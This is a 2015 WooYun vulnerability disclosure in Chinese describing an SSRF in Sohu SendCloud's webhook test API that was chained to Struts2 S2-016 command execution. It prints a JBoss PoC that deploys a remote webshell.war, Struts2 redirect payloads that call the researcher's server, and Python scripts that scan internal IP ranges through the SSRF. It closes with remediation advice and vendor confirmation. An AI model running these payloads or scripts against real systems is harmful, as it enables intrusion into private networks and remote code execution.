当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129588

漏洞标题:搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行

相关厂商:搜狐

漏洞作者: Wulala

提交时间:2015-07-27 08:12

修复时间:2015-09-10 09:52

公开时间:2015-09-10 09:52

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

搜狐某云服务API接口SSRF仅当HTTP响应码为200时,Response : success
看我一步两步/一步两/摩擦摩擦,手工盲打到Struts2漏洞.
求^授精^ ^授精^ 啊!!!

详细说明:

Target:
http://sendcloud.sohu.com/ 专业的邮件服务商
1. WebHook测试 http://sendcloud.sohu.com/doc/test/webhook.html
看到这个功能, 自然想到了SSRF

1.png


2. SSRF 小试牛刀
这个接口返回的信息比较少,仅只有服务器正确的响应HTTP请求&HTTP 响应码为200时返回: test success , 其他情况都只会返回 test failed

2.png


3. SSRF测试之内网信息收集
--3.1 内网IP收集来源(因为不想大规模的测试,刚开始仅收集了①和②)
---- ① 子域名解析
---- ② 我前两天发布的价值1rank的搜狐心脏滴血漏洞中包含内网地址 http://wooyun.org/bugs/wooyun-2015-0129228
---- ③ Wooyun翻阅和搜狐相关的漏洞信息
--3.2 收集成果
---- 获取到6个私有IP段
/***
**.**.22.116
**.**.150.105
**.**.156.64
**.**.35.65
***.***.44.143
***.***.99.145
****/
4. SSRF测试之测试验证
用上面的IP信息进行测试,结果如下:

3.png


5. SSRF 扩展验证
--5.1 file:/// 文件读取
这里测试file:///其实没任何意义,因为没有Response内容. 这里只是习惯性测试,而且能够更好了解程序内部的运行状态

4.png


--5.2 测试非HTTP协议(SSH,Mysql)
因为文档说明了,仅对 正确响应200的HTTP返回 Success. 而且没有任何Response内容,这里我对HTTP的响应做一个时间统计,看通过时间是否能够有所发现.
一下均通过多次请求,统计的平均范围
①测试正常响应的HTTP端口( >=0.36s)

5.1.png


②测试无法响应的HTTP端口( 0.22 < time < 0.25)

5.2.png


③测试无法响应非HTTP协议端口port1 ( 0.22 < time < 0.26)

5.3.png


④测试SSH和Mysql端口(0.22 < time < 0.27)

5.5.png


5.6.png


结论: 通过②和③可知,对于关闭的端口响应时间为0.22到0.27之间, 所以我们针对其他端口的存活判断,只要某个主机的端口响应时间不在这个区间即可判定. 但是很遗憾通过对多个主机的SSH端口进行请求, 响应时间均在0.22 到 0.27之间. 所以这里不能扫描费HTTP协议的端口
6. SSRF漏洞利用
玩进去了,所以深入试试呗. 通过上面的测试, 这个SSRF只能GET HTTP响应,并且只有当HTTP Response 200时,返回Success 其他返回Failed. 而且后台是有一定的过滤机制的.
--6.1攻击利用一: JBOSS
我首选JBOSS, 一是对JBOSS的攻击利用相对熟悉, 而是, JBOSS的攻击利用只需要GET即可部署远程shell. 同时获取服务器的IP地址和webshell.
POC: /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fwebshell.war
----6.1.1 SSRF 自动化测试(脚本贴在漏洞证明了)
这里我写了2个简单的脚本,sohussrf.py 主要是通过ssrf获取开放http协议的服务器.
sohuurl.py, 主要是读取开放http的服务器,GET指定的URL.
----6.1.2 JBOSS 指纹识别
通过对获取到的HTTP服务器,分别GET /jmx/console/ /invoker/JMXInvokerServlet /a1b2c3 对于成功返回200即 success的服务器统计.

6.png


----6.1.3 JBOSS结果分析
通过上图可以看到,对于这三种请求返回67行一致的数据,证明我所扫描的这6个段不存在受影响的JBOSS服务器
----6.1.4 何去何从
对于这种结果也是有预计的,因为翻阅wooyun上关于搜狐的漏洞.压根就没有和JBOSS相关的.而且GOOGLE Hack了一下, 也没发现搜狐和JBOSS的一些东东. 所以转个战场吧. 其实这里可以对整个内网进行远程Payload扫描直接部署Webshell, 而我们只需看我服务器的 ACCESS.log就可以知道哪些被成功部署. 但那样做事绝对不行的.

--6.2攻击利用二:Struts2 S2-016漏洞
----6.2.1 Struts指纹识别
通过和6.1.2的方法一样,统计了一下使用Struts2的服务器(这里使用上面随机GET的统计方法,的肯定是使用strusts的服务器)

7.png


----6.2.2 Struts POC检测
POC: /action?action?:%25{3*4}
通过和随机GET的结果进行统计. 也没有任何收货. 按照道理不应该,因为下文中我们确实寻找到了存在Struts漏洞的主机.

8.png


----6.2.3 Struts漏洞 呼之欲出
心有不甘, Wooyun上关于搜狐的Struts也不少,难道这6个内网段真没有. 换个角度.
Struts漏洞玩的不多, 所以分析了一下,发下一个更好的POC,这个POC更好.
POC:/action?action?redirect:http://我的服务器
如果从我的服务器端接收来自 搜狐sendcloud服务器的请求, 那么肯定存在S2-016的漏洞
修改脚本重新跑了一下,成功收到一条请求.

9.png


上面的来源IP 220.181.19.9 来自 (北京市 南三环洋桥电信机房 电信),直接访问就是搜狐sendcloud. 回过头来想想为什么6.2.2统计的方法不行能, 因为这样的POC 返回不再是success, 如下图.

10.png


----6.2.4 总结
6.2.2和6.2.3提供了两种方法,其实这两种方法都是可行的,至于在我这个环境中,因为sendcloud服务器跳转到我的服务器,而我这边返回403,所以造成方法一失效了.
7. Struts漏洞利用
有了Struts漏洞, 利用的手段就很多了. 简单测试了一下:

11.png


12.png


服务器执行了吗? 我们不知道. 有什么办法可以知道吗? 根据POC
/action?action?redirect:%25{3*4} 我们将POC改造一下: /action?action?redirect:http://SERVER/%25{3*4}. 通过搭建环境实验OK,可以在服务器接收到 /java.lang.ProcessImpl@xxxxxx的请求, 证明此命令已经执行. 那我们在搜狐的服务器运行, 如下图:

13.png


8. 明天起来搬砖去了, 得要睡了.

漏洞证明:

sohussrf.py

#encoding=utf-8
import sys
import urllib
import httplib
import traceback
reload(sys)
sys.setdefaultencoding('utf8')
for h in range(150,151):
for i in range(1,255):
try:
s = "10.11.%s.%s:80"%(h,i)
print s
headers = {'X-Requested-With': 'XMLHttpRequest', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie': 'vjuids=-6aa9fad58.14e0eff1836.0.b5f265cb; beans_dmp_1503281948430306=1435717473541; beans_dmp={"admaster":1435717611,"reachmax":1435717611}; _ga=GA1.2.682600684.1435723063; _smuid=JqSXqUVQqqEdeu46vseaf8; adaptor_version=3; position=2; page_version=3; hide_ad=0; beans_dmp_done=1; SUV=1503281948430306; vjlast=1434770676.1437811590.11; PPUV=1437824090854328; sceroute_c1ba81468573a7be0bc71aebe26c46c3=cc0aee8d45d4f0d5e1706900535d7ea8'}
conn = httplib.HTTPConnection("sendcloud.sohu.com")
print "test target %s"%(s);
conn.request('POST','/testapi/webhook/testurl', "url=http://%s"%(s), headers)
#conn.request('POST','/testapi/webhook/testurl', 'url=http://10.11.150.105', headers)
response = conn.getresponse()
#print response.read()
msg = response.read()
if msg == "test success":
print "exist: " + s
f = open('结果.txt','ab+')
f.write(s + '\r\n')
f.close
conn.close()
except:
print traceback.format_exc()
pass


sohuurl.py

import urllib
import httplib
import traceback
reload(sys)
sys.setdefaultencoding('utf8')
file = open("struts-host.txt")
for line in file.readlines():
try:
#s = "10.11.150.%s"%(i)
s = line.strip('\n')
print s
headers = {'X-Requested-With': 'XMLHttpRequest', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie': 'vjuids=-6aa9fad58.14e0eff1836.0.b5f265cb; beans_dmp_1503281948430306=1435717473541; beans_dmp={"admaster":1435717611,"reachmax":1435717611}; _ga=GA1.2.682600684.1435723063; _smuid=JqSXqUVQqqEdeu46vseaf8; adaptor_version=3; position=2; page_version=3; hide_ad=0; beans_dmp_done=1; SUV=1503281948430306; vjlast=1434770676.1437811590.11; PPUV=1437824090854328; sceroute_c1ba81468573a7be0bc71aebe26c46c3=cc0aee8d45d4f0d5e1706900535d7ea8'}
conn = httplib.HTTPConnection("sendcloud.sohu.com")
conn.request('POST','/testapi/webhook/testurl', 'url=http://%s/login.action:%%25{3*4}'%(s), headers)
#conn.request('POST','/testapi/webhook/testurl', 'url=http://10.11.150.105', headers)
response = conn.getresponse()
print response.status, response.reason
msg = response.read()
print "msg: " + msg
if msg == "test success":
print "exist: " + s
f = open('struts2-016.txt','ab+')
f.write(s + '\n')
f.close
conn.close()
except:
print traceback.format_exc()
pass


脚本根据需要不断的有所更改, 基本就这个样.

修复方案:

引自 Wooyun Wiki
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。[符合]
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。[符合]
3.限制请求的端口为http常用的端口,比如,80、443、8080、8090。[符合]
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。[不符合]
5.禁用不需要的协议。仅仅允许http和https请求。[符合]
说明:
以上测试,只在6个私网段进行测试, 同时未采用任何对业务有影响的测试.

版权声明:转载请注明来源 Wulala@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 09:51

厂商回复:

感谢你对搜狐安全的支持。

最新状态:

暂无